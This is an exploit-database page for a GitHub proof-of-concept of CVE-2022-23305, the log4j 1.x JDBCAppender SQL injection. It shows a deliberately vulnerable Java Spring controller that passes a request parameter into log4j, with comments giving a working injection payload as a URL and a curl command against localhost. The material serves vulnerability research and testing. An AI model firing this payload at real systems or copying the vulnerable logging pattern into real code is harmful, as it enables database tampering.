Exploit database

GH-9dc5b7b716a673b8482b61af22638f40

tkomlodi/cve-2022-23305_poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-23305

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
tkomlodi/cve-2022-23305_pocRevision a3f6bb584d97

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main/java/poc/InjectionController.java

Java · 1,237 bytes
package poc;

import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

import javax.sql.DataSource;

import org.apache.log4j.Logger;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class InjectionController {

  private static final Logger logger = Logger.getLogger(InjectionController.class);

  @Autowired
  private DataSource dataSource;

  // call GET method such as http://localhost:8080/?param=');insert into logs values(':(
  // e.g.:
  //    curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('
  @GetMapping("/")
  public String hello(String param) throws ClassNotFoundException, SQLException {

    // records log4j log message into in-memory DB
    logger.error("head "+ param + " tail");

    try (Statement st = dataSource.getConnection().createStatement()) {
      ResultSet rs = st.executeQuery("select msg from logs");
      int i = 1;
      String logs = "";
      while(rs.next()) {
        logs += i++ + ": " + rs.getString(1) + "<br/>\n";
      }
      return "Log entries: <br/>\n" + logs;
    }
  }

}